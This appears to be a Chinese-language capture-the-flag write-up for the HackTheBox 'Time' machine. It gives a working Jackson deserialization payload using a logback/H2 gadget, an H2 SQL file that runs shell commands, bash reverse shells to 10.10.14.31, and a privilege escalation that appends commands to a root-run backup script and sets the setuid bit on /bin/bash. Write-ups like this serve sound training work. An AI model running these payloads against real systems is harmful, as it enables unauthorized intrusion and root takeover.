HTB-Time
- 信息收集
- 80端口
 
- 立足
- pericles -> root

信息收集

 
80端口

 有两个功能,一个是美化JSON数据。

一个是验证JSON,并且输入{“abc”:“abc”}之类的会出现报错。
 
Validation failed: Unhandled Java exception:
com.fasterxml.jackson.core.JsonParseException: Unexpected character
(‘’’ (code 39)): expected a valid value (number, String, array,
object, ‘true’, ‘false’ or ‘null’)
根据报错可知是java jackson的报错。有关java jackson的漏洞非常多。其中有一篇文章提到几个负载。
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:tcp://10.10.14.31:4443/~test"}]

立足
新建一个文件名为inject1.sql。
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.31/443 0>&1')
python开启http.server。然后在验证功能下输入:
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.31:8000/inject1.sql'"}]

pericles -> root
pspy64可以看到有一个timer_backup.sh没几秒种就会运行一次。
 
 内容如下:
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
以及/usr/bin/systemctl restart web_backup.service。
 
 查找web_backup.service并查看内容:
find / -name web_backup.service -type f 2>/dev/null
/etc/systemd/system/web_backup.service
pericles@time:/tmp$ cat /etc/systemd/system/web_backup.service
[Unit]
Description=Creates backups of the website
[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh
因为隔几秒种会重启web_backup.service,web_backup.service服务又会运行/usr/bin/timer_backup.sh。
还有一个/bin/sh -c /usr/bin/systemctl restart timer_backup.timer,不过我暂时不需要,留在这备用。
 
 我们能写入timer_backup.sh但是时间任务并没执行我写入的内容,可能还有时间任务先对timer_backup.sh进行重置再运行。顺序是某个东西启动web_backup.service,web_backup.service启动timer_backup.sh。但是我没找到那个东西是什么。所以我决定再尝试对timer_backup.sh追加写入试试。向末尾添加cp /bin/bash /tmp/bash;chmod u+s /tmp/bash后等待片刻后仍无任何成功迹象。写入reshell到/usr/bin/timer_backup.sh里能成功。
 echo -e '\nbash -i >& /dev/tcp/10.10.14.31/4443 0>&1' >> /usr/bin/timer_backup.sh
但是几秒钟后就没了。
 
 可以用echo “chmod u+s /bin/bash” 修改/bin/bash,但为什么不能复制过来后再修改呢。
 
 我不知道。
 



















